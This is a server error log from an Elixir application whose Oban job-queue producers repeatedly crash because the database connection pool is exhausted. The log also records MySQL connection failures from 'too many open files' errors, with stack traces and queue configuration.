[Sun Sep  6 00:23:56.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 823ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:23:44.238718Z], limit: 20, uuid: "373e5355-4d84-465c-9343-9259f241e681", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:23:44.238724Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.186269>, refresh_timer: #Reference<0.2525715032.1121189889.186229>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:23:56.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1093ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:23:44.240707Z], limit: 5, uuid: "38a9769f-02e8-4778-996f-ec8970f30908", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:23:44.240713Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.186271>, refresh_timer: #Reference<0.2525715032.1068498948.57371>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:23:56.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1088ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:23:44.239848Z], limit: 3, uuid: "18f0bcb8-3863-4f27-bbef-5838ac1f0383", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:23:44.239853Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.186272>, refresh_timer: #Reference<0.2525715032.1068498948.57357>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:23:56.380000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:23:57.228000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:23:58.986000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:24:00.374000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:24:01.817000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:24:02.859000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:24:04.505000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:24:05.133000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:24:08.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1093ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:23:56.239846Z], limit: 10, uuid: "fffca991-f7c4-43e3-b01b-393690195d48", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:23:56.239851Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.35923>, refresh_timer: #Reference<0.2525715032.1068498948.57465>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:24:08.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1001ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:23:56.240049Z], limit: 5, uuid: "adb8bb8c-c987-476d-a7dd-f82981392bf5", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:23:56.240055Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.57096>, refresh_timer: #Reference<0.2525715032.1099431938.57092>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:24:08.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1091ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:23:56.239584Z], limit: 50, uuid: "46a07965-ac7b-4b43-9acb-d579cd2c4086", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:23:56.239590Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.35924>, refresh_timer: #Reference<0.2525715032.1068498948.57460>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:24:08.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1089ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:23:56.241822Z], limit: 3, uuid: "97c08bf5-566f-4755-a5c0-4dcff8252706", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:23:56.241828Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.57488>, refresh_timer: #Reference<0.2525715032.1121189889.186459>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:24:08.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1088ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:23:56.239726Z], limit: 20, uuid: "2a642a4d-d20b-4158-9769-9ab94454878e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:23:56.239731Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.57487>, refresh_timer: #Reference<0.2525715032.1068498948.57462>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:24:08.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 818ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
